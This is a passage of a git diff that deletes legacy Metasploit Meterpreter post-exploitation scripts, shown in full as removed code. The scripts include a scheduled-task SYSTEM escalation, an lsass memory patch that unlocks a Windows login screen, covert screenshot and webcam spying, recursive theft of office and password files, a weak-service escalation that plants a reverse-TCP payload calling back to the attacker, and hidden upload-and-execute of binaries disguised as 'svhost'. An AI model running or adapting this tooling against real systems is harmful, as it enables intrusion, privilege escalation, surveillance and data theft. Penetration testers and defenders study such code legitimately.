0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, - 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, - 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, - 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, - 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, - 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, - 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, - 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, - 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, - 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, - 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, - 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, - 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, - 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, - 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, - 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, - 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, - 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, - 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 - ] - - crc = crc32(data[0, data.length - 12]) - data[-12, 4] = [crc].pack('V') - - data[-12, 12].unpack('C*').reverse.each { |b| - old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff - } - data[-12, 4] = [old_crc].pack('V') -end - -def exec_schtasks(cmdline, purpose) - lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR") - success = false - lns.each_line { |ln| - ln.chomp! - if ln =~ /^SCHELEVATOR$/ - success = true - else - print_status(ln) - end - } - raise "Unable to #{purpose}!" if not success -end - - -def read_task_file(taskname, taskfile) - print_status("Reading the task file contents from #{taskfile}...") - - # Can't read the file directly on 2008? - content = '' - fd = client.fs.file.new(taskfile, "rb") - until fd.eof? - content << fd.read - end - fd.close - - content -end - - -# -# Create a new task to do our bidding, but make sure it doesn't run. -# -taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8)) -taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}" - -print_status("Creating task: #{taskname}") -cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f" -exec_schtasks(cmdline, "create the task") - -# -# Read the contents of the newly creates task file -# -content = read_task_file(taskname, taskfile) - -# -# Double-check that we got what we expect. -# -if content[0,2] != "\xff\xfe" - # - # Convert to unicode, since it isn't already - # - content = content.unpack('C*').pack('v*') -else - # - # NOTE: we strip the BOM here to exclude it from the crc32 calculation - # - content = content[2,content.length] -end - - -# -# Record the crc32 for later calculations -# -old_crc32 = crc32(content) -print_status("Original CRC32: 0x%x" % old_crc32) - -# -# Convert the file contents from unicode -# -content = content.unpack('v*').pack('C*') - -# -# Mangle the contents to now run with SYSTEM privileges -# -content.gsub!('LeastPrivilege', 'HighestAvailable') -content.gsub!(/.*<\/UserId>/, 'S-1-5-18') -content.gsub!(/.*<\/Author>/, 'S-1-5-18') -#content.gsub!('InteractiveToken', 'Password') -content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"') -content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"') -content << "" - -# -# Convert it back to unicode -# -content = Rex::Text.to_unicode(content) - -# -# Fix it so the CRC matches again -# -fix_crc32(content, old_crc32) -new_crc32 = crc32(content) -print_status("Final CRC32: 0x%x" % new_crc32) - -# -# Write the new content back -# -print_status("Writing our modified content back...") -fd = client.fs.file.new(taskfile, "wb") -fd.write "\xff\xfe" + content -fd.close - -# -# Run the task :-) -# -print_status("Disabling the task...") -exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task") - -print_status("Enabling the task...") -exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task") - -print_status("Executing the task...") -exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task") - - -# -# And delete it. -# -print_status("Deleting the task...") -exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task") diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb deleted file mode 100644 index 14dd1036e3..0000000000 --- a/scripts/meterpreter/screen_unlock.rb +++ /dev/null @@ -1,84 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -# -# Script to unlock a windows screen by L4teral -# Needs system prvileges to run and known signatures for the target system. -# This script patches msv1_0.dll loaded by lsass.exe -# -# Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16 -# - -revert = false -targets = [ - { :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ }, - { :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ } -] - -opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-r" => [ false, "revert the patch (enable screen locking again)"] -) -opts.parse(args) { |opt, idx, val| - case opt - when "-r" - revert = true - when "-h" - print_line("") - print_line("USAGE: run screen_unlock [-r]") - print_line(opts.usage) - raise Rex::Script::Completed - end -} -def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end -unsupported if client.platform !~ /win32|win64/i -os = client.sys.config.sysinfo['OS'] - -targets.each do |t| - if os =~ t[:os] - target = t - print_status("OS '#{os}' found in known targets") - pid = client.sys.process["lsass.exe"] - p = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - dllbase = p.image["msv1_0.dll"] - - sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0] - if sig != target[:sig] - print_error("found signature does not match") - next - end - old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0] - if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert)) - print_error("found code does not match") - next - end - - print_status("patching...") - new_code = revert ? target[:orig_code] : target[:patch] - p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*")) - - written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0] - if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert)) - print_status("done!") - raise Rex::Script::Completed - else - print_error("failed!") - next - end - end -end - -print_status("no working target found") - diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb deleted file mode 100644 index 77c1f86b84..0000000000 --- a/scripts/meterpreter/screenspy.rb +++ /dev/null @@ -1,158 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -# Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com -# -# Thie script will open an interactive view of remote hosts -# You will need firefox installed on your machine - - -require 'fileutils' - -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-d" => [ true, "The Delay in seconds between each screenshot." ], - "-t" => [ true, "The time to run in sec." ], - "-s" => [ true, "The local system linux/windows" ] -) - -freq = 3 -count = 10 -file = "screenshot.jpeg" -meter_type = client.platform -localsys = "linux" - -opts.parse(args) { |opt, idx, val| - case opt - when '-d' - freq = val.to_i - when '-t' - count = val.to_i - when '-s' - localsys = val.to_s - - when "-h" - print_line - print_line "Screenspy v1.0" - print_line "--------------" - print_line - print_line - print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long." - print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long." - print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode." - print_line - print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com" - print_line(opts.usage) - raise Rex::Script::Completed - end -} - -# Wrong Meterpreter Version Message Function -#------------------------------------------------------------------------------- -def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end - -# Check for Version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i -session = client - - - -host,port = session.session_host, session.session_port - -print_status("New session on #{host}:#{port}...") - -logs = ::File.join(Msf::Config.install_root, 'logs', 'screenshot', host) - -outfile = ::File.join(Msf::Config.log_directory,file) - -::FileUtils.mkdir_p(logs) - - -begin - process2mig = "explorer.exe" - - # Actual migration - mypid = session.sys.process.getpid - session.sys.process.get_processes().each do |x| - if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) - print_status("#{process2mig} Process found, migrating into #{x['pid']}") - session.core.migrate(x['pid'].to_i) - print_status("Migration Successful!!") - end - end -rescue - print_status("Failed to migrate process!") - #next -end - - -begin - session.core.use("espia") - - - begin - - data="#{host}" - path1 = File.join(logs,"video.html") - File.open(path1, 'w') do |f2| - f2.puts(data) - end - - - if (localsys == "windows") - - print_status("Runing in local mode => windows") - print_status("Opening Interactive view...") - localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\"" - else - print_status("Runing in local mode => Linux") - print_status("Opening Interactive view...") - localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\"" - end - - system (localcmd) - (1..count).each do |i| - sleep(freq) if(i != 1) - path = File.join(logs,"screenshot.jpeg") - data = session.espia.espia_image_get_dev_screen - - if(data) - ::File.open(path, 'wb') do |fd| - fd.write(data) - fd.close() - end - end - end - - rescue ::Exception => e - print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}") - end - - print_status("The interactive Session ended...") - data = <<-EOS -#{host} - Interactive Session ended - - -EOS - File.open(path1, 'w') do |f2| - f2.puts(data) - end - -rescue ::Exception => e - print_status("Exception: #{e.class} #{e} #{e.backtrace}") -end - - - - - - - diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb deleted file mode 100644 index 1c5148bfc4..0000000000 --- a/scripts/meterpreter/search_dwld.rb +++ /dev/null @@ -1,107 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -## Meterpreter script that recursively search and download -## files matching a given pattern -## Provided by Nicob - -## == WARNING == -## As said by mmiller, this kind of script is slow and noisy : -## http://www.metasploit.com/archive/framework/msg01670.html -## However, it can sometimes save your ass ;-) -## == WARNING == - -# Filters -$filters = { - 'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$', - 'win9x' => '\.pwl$', - 'passwd' => '(pass|pwd)', -} - -@@opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] -) - -def usage - print_line "search_dwld -- recursively search for and download files matching a given pattern" - print_line "USAGE: run search_dwld [base directory] [filter] [pattern]" - print_line - print_line "filter can be a defined pattern or 'free', in which case pattern must be given" - print_line "Defined patterns:" - print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n") - print_line - print_line "Examples:" - print_line " run search_dwld" - print_line " => recursively look for (MS|Open)Office in C:\\" - print_line " run search_dwld %USERPROFILE% win9x" - print_line " => recursively look for *.PWL files in the user home directory" - print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'" - print_line " => recursively look for pictures in the E: drive" - print_line(@@opts.usage) - raise Rex::Script::Completed -end - -@@opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end -} - -def scan(path) - begin - dirs = client.fs.dir.foreach(path) - rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Error scanning #{path}: #{$!}") - return - end - - dirs.each {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x - - if client.fs.file.stat(fullpath).directory? - scan(fullpath) - elsif fullpath =~ /#{$motif}/i - # Replace ':' or '%' or '\' by '_' - dst = fullpath.tr_s(":|\%|\\", "_") - dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst) - print_line("Downloading '#{fullpath}' to '#{dst}'") - client.fs.file.download_file(dst, fullpath) - end - } -end - -#check for proper Meterpreter Platform -def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end - - -unsupported if client.platform !~ /win32|win64/i -# Get arguments -basedir = args[0] || "C:\\" -filter = args[1] || "office" - -# Set the regexp -if filter == 'free' - if args[2].nil? - raise RuntimeError.new("free filter requires pattern argument") - end - $motif = args[2] -else - $motif = $filters[filter] -end - -if $motif.nil? - raise RuntimeError.new("Unrecognized filter") -end - -# Search and download -scan(basedir) - diff --git a/scripts/meterpreter/service_permissions_escalate.rb b/scripts/meterpreter/service_permissions_escalate.rb deleted file mode 100644 index 01d2f2b348..0000000000 --- a/scripts/meterpreter/service_permissions_escalate.rb +++ /dev/null @@ -1,210 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -## -# Many services are configured with insecure permissions. This -# script attempts to create a service, then searches through a list of -# existing services to look for insecure file or configuration -# permissions that will let it replace the executable with a payload. -# It will then attempt to restart the replaced service to run the -# payload. If that fails, the next time the service is started (such as -# on reboot) the attacker will gain elevated privileges. -# -# scriptjunkie googlemail com -# -## - -if client.platform !~ /win32/ - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end -# -# Options -# -opts = Rex::Parser::Arguments.new( - "-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"], - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"] -) - -# -# Default parameters -# - -rhost = Rex::Socket.source_address("1.2.3.4") -rport = 4444 -aggressive = false - -# -# Option parsing -# -opts.parse(args) do |opt, idx, val| - case opt - when "-a" - aggressive = true - when "-h" - print_status("Generic weak service permissions privilege escalation.") - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - end -end - -envs = client.sys.config.getenvs('TEMP', 'SYSTEMROOT') -tempdir = envs['TEMP'] -sysdir = envs['SYSTEMROOT'] - -# Get the exe payload. -pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") -pay.datastore['LHOST'] = rhost -pay.datastore['LPORT'] = rport -raw = pay.generate -exe = Msf::Util::EXE.to_win32pe(client.framework, raw) -#and placing it on the target in %TEMP% -tempexename = Rex::Text.rand_text_alpha((rand(8)+6)) -tempexe = "#{tempdir}\\#{tempexename}.exe" -print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{tempexe}") -fd = client.fs.file.new(tempexe, "wb") -fd.write(exe) -fd.close - -#get handler to be ready -handler = client.framework.exploits.create("multi/handler") -handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" -handler.datastore['LHOST'] = rhost -handler.datastore['LPORT'] = rport -handler.datastore['InitialAutoRunScript'] = "migrate -f" -handler.datastore['ExitOnSession'] = false -#start a handler to be ready -handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true -) - -#attempt to make new service -client.railgun.kernel32.LoadLibraryA("advapi32.dll") -client.railgun.get_dll('advapi32') -client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[ - [ "DWORD", "hService", "in" ] -]) - -#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config - -print_status("Trying to add a new service...") -adv = client.railgun.advapi32 -manag = adv.OpenSCManagerA(nil,nil,0x10013) -if(manag["return"] != 0) - # SC_MANAGER_CREATE_SERVICE = 0x0002 - newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) - #SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 - #SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 - if(newservice["return"] != 0) - print_status("Created service... #{newservice["return"]}") - ret = adv.StartServiceA(newservice["return"], 0, nil) - print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") - service_delete("walservice") - adv.CloseServiceHandle(newservice["return"]) - if aggressive == false - adv.CloseServiceHandle(manag["return"]) - raise Rex::Script::Completed - end - else - print_status("Uhoh. service creation failed, but we should have the permissions. :-(") - end -else - print_status("No privs to create a service...") - manag = adv.OpenSCManagerA(nil,nil,1) - if(manag["return"] == 0) - print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") - end -end -print_status("Trying to find weak permissions in existing services..") -#Search through list of services to find weak permissions, whether file or config -serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" -#for each service -service_list.each do |serv| - begin - srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s - if srvtype != "16" - continue - end - moved = false - configed = false - #default path, but there should be an ImagePath registry key - source = "#{sysdir}\\system32\\#{serv}.exe" - #get path to exe; parse out quotes and arguments - sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s - sourcemaybe = client.fs.file.expand_path(sourceorig) - if( sourcemaybe[0] == '"' ) - sourcemaybe = sourcemaybe.split('"')[1] - else - sourcemaybe = sourcemaybe.split(' ')[0] - end - begin - client.fs.file.stat(sourcemaybe) #check if it really exists - source = sourcemaybe - rescue - print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") - end - #try to exploit weak file permissions - if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) - client.railgun.kernel32.CopyFileA(tempexe, source, false) - print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.") - moved = true - end - #try to exploit weak config permissions - #open with SERVICE_CHANGE_CONFIG (0x0002) - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - if(servhandleret["return"] != 0) - #SERVICE_NO_CHANGE is 0xFFFFFFFF - if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) - print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") - configed = true - end - adv.CloseServiceHandle(servhandleret["return"]) - - end - if(moved != true && configed != true) - print_status("No exploitable weak permissions found on #{serv}") - continue - end - print_status("Restarting #{serv}") - #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) - servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) - if(servhandleret["return"] != 0) - #SERVICE_CONTROL_STOP = 0x00000001 - if(adv.ControlService(servhandleret["return"],1,56)) - client.railgun.kernel32.Sleep(1000) - adv.StartServiceA(servhandleret["return"],0,nil) - print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") - #Cleanup - if moved == true - client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) - end - if configed == true - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) - adv.CloseServiceHandle(servhandleret["return"]) - end - if aggressive == false - raise Rex::Script::Completed - end - else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") - end - adv.CloseServiceHandle(servhandleret["return"]) - else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") - end - rescue - end -end - diff --git a/scripts/meterpreter/uploadexec.rb b/scripts/meterpreter/uploadexec.rb deleted file mode 100644 index 4eefc6dd4b..0000000000 --- a/scripts/meterpreter/uploadexec.rb +++ /dev/null @@ -1,149 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -session = client -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-e" => [ true, "Executable or script to upload to target host." ], - "-o" => [ true, "Options for executable." ], - "-p" => [ false,"Path on target to upload executable, default is %TEMP%." ], - "-x" => [ false,"Exit the session once the payload has been run." ], - "-s" => [ true,"Sleep for a number of seconds after uploading before executing." ], - "-v" => [ false,"Verbose, return output of execution of uploaded executable." ], - "-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ] -) - -################## function declaration Declarations ################## -def usage() - print_line "UploadExec -- upload a script or executable and run it" - print_line(@@exec_opts.usage) - raise Rex::Script::Completed -end - -def upload(session,file,trgloc = "") - if not ::File.exist?(file) - raise "File to Upload does not exists!" - else - if trgloc == "" - location = session.sys.config.getenv('TEMP') - else - location = trgloc - end - begin - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - fileontrgt = "#{location}\\svhost#{rand(100)}.exe" - else - fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" - end - print_status("\tUploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("\t#{file} uploaded!") - print_status("\tUploaded as #{fileontrgt}") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - raise e - end - end - return fileontrgt -end - -#Function for executing a list of commands -def cmd_on_trgt_exec(session,cmdexe,opt,verbose) - r='' - session.response_timeout=120 - if verbose == 1 - begin - print_status "\tRunning command #{cmdexe}" - r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - print_status("\t#{d}") - end - r.channel.close - r.close - rescue ::Exception => e - print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") - raise e - end - else - begin - print_status "\trunning command #{cmdexe}" - r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false}) - r.close - rescue ::Exception => e - print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") - raise e - end - end -end - -def m_unlink(session, path) - r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) - while(r.name) - select(nil, nil, nil, 0.10) - end - r.close -end -#check for proper Meterpreter Platform -def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end -unsupported if client.platform !~ /win32|win64/i -#parsing of Options -file = "" -cmdopt = nil -helpcall = 0 -path = "" -verbose = 0 -remove = 0 -quit = 0 -sleep_sec = nil -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - file = val || "" - when "-o" - cmdopt = val - when "-p" - path = val - when "-v" - verbose = 1 - when "-h" - helpcall = 1 - when "-s" - sleep_sec = val.to_f - when "-r" - remove = 1 - when "-x" - quit = 1 - end - -} - -if args.length == 0 || helpcall == 1 - usage -end -print_status("Running Upload and Execute Meterpreter script....") -exec = upload(session,file,path) -if sleep_sec - print_status("\tSleeping for #{sleep_sec}s...") - Rex.sleep(sleep_sec) -end -cmd_on_trgt_exec(session,exec,cmdopt,verbose) -if remove == 1 - print_status("\tDeleting #{exec}") - m_unlink(session, exec) -end - -if quit == 1 - print_status("Closing the session...") - session.core.shutdown rescue nil - session.shutdown_passive_dispatcher -end - -print_status("Finished!") diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb deleted file mode 100644 index e52da0a992..0000000000 --- a/scripts/meterpreter/webcam.rb +++ /dev/null @@ -1,141 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# Author: scriptjunkie -# -# Simplify running webcam, whether grabbing a single frame or running -# a continous loop. - -@client = client -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-f" => [ false, "Just grab single frame"], - "-l" => [ false, "Keep capturing in a loop (default)" ], - "-d" => [ true, "Loop delay interval (in ms, default 1000)" ], - "-i" => [ true, "The index of the webcam to use (Default: 1)" ], - "-q" => [ true, "The JPEG image quality (Default: 50)" ], - "-g" => [ false, "Send to GUI instead of writing to file" ], - "-s" => [ true, "Stop recording" ], - "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ], - "-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ] -) -iterator = 0 -folderpath = "." -single = false -quality = 50 -index = 1 -interval = 1000 -gui = false -saveAll = false -opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "webcam -- view webcam over session" - print_line(opts.usage) - raise Rex::Script::Completed - when "-f" - single = true - when "-l" - single = false - when "-d" - interval = val.to_i - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-g" - gui = true - when "-p" - folderpath = val - when "-s" - print_line("[*] Stopping webcam") - client.webcam.webcam_stop - raise Rex::Script::Completed - when "-a" - saveAll = true - end -} - -if !(client.platform =~ /win32|win64/) - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end -begin - camlist = client.webcam.webcam_list - if camlist.length == 0 - print_error("Error: no webcams found!") - raise Rex::Script::Completed - elsif camlist.length < index - print_error("Error: only #{camlist.length} webcams found!") - raise Rex::Script::Completed - end - print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}") - client.webcam.webcam_start(index) - - #prepare output - if(gui) - sock = Rex::Socket::Udp.create( - 'PeerHost' => "127.0.0.1", - 'PeerPort' => 16235 - ) - end - imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg" - print_line( "[*] imagepath is #{imagepath}" ) - htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" - begin - if single == true - data = client.webcam.webcam_get_frame(quality) - if(gui) - sock.write(data) - else - ::File.open( imagepath, 'wb' ) do |fd| - fd.write( data ) - end - path = ::File.expand_path( imagepath ) - print_line( "[*] Image saved to : #{path}" ) - Rex::Compat.open_file( path ) - end - else - if(!gui) - ::File.open(htmlpath, 'wb' ) do |fd| - htmlOut = "" - fd.write(htmlOut) - end - print_line( "[*] View live stream at: #{htmlpath}" ) - Rex::Compat.open_file(htmlpath) - print_line( "[*] Image saved to : #{imagepath}" ) - end - while true do - data = client.webcam.webcam_get_frame(quality) - if(gui) - sock.write(data) - else - ::File.open( imagepath, 'wb' ) do |fd| - fd.write( data ) - ::File.open(htmlpath, 'wb' ) do |fd| - htmlOut = "" - fd.write(htmlOut) - if(saveAll) - iterator = iterator + 1 - imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg" - end - end - end - end - select(nil, nil, nil, interval/1000.0) - end - end - rescue ::Interrupt - rescue ::Exception => e - print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}") - end - print_line("[*] Stopping webcam") - client.webcam.webcam_stop - sock.close if sock != nil -rescue ::Exception => e - print_error("Error: #{e.class} #{e} #{e.backtrace}") -end diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb deleted file mode 100644 index a2ae3d1b9d..0000000000 --- a/scripts/meterpreter/wmic.rb +++ /dev/null @@ -1,137 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -#Meterpreter script for running WMIC commands on Windows 2003, Windows Vista -# and Windows XP and Windows 2008 targets. -#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com -################## Variable Declarations ################## -session = client -wininfo = client.sys.config.sysinfo -# Setting Arguments -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-c" => [ true,"Command to execute. The command must be enclosed in double quotes."], - "-f" => [ true,"File where to saved output of command."], - "-s" => [ true,"Text file with list of commands, one per line."] -) -#Setting Argument variables -commands = [] -script = [] -outfile = nil - -################## Function Declarations ################## -# Function for running a list of WMIC commands stored in a array, returs string -def wmicexec(session,wmiccmds= nil) - tmpout = '' - session.response_timeout=120 - begin - tmp = session.sys.config.getenv('TEMP') - wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) - wmiccmds.each do |wmi| - print_status "running command wmic #{wmi}" - print_line wmicfl - r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true}) - sleep(2) - #Making sure that wmic finishes before executing next wmic command - prog2check = "wmic.exe" - found = 0 - while found == 0 - session.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - end - # Read the output file of the wmic commands - wmioutfile = session.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - wmioutfile.close - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end - # We delete the file with the wmic command output. - c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) - c.close - tmpout -end -# Function for writing results of other functions 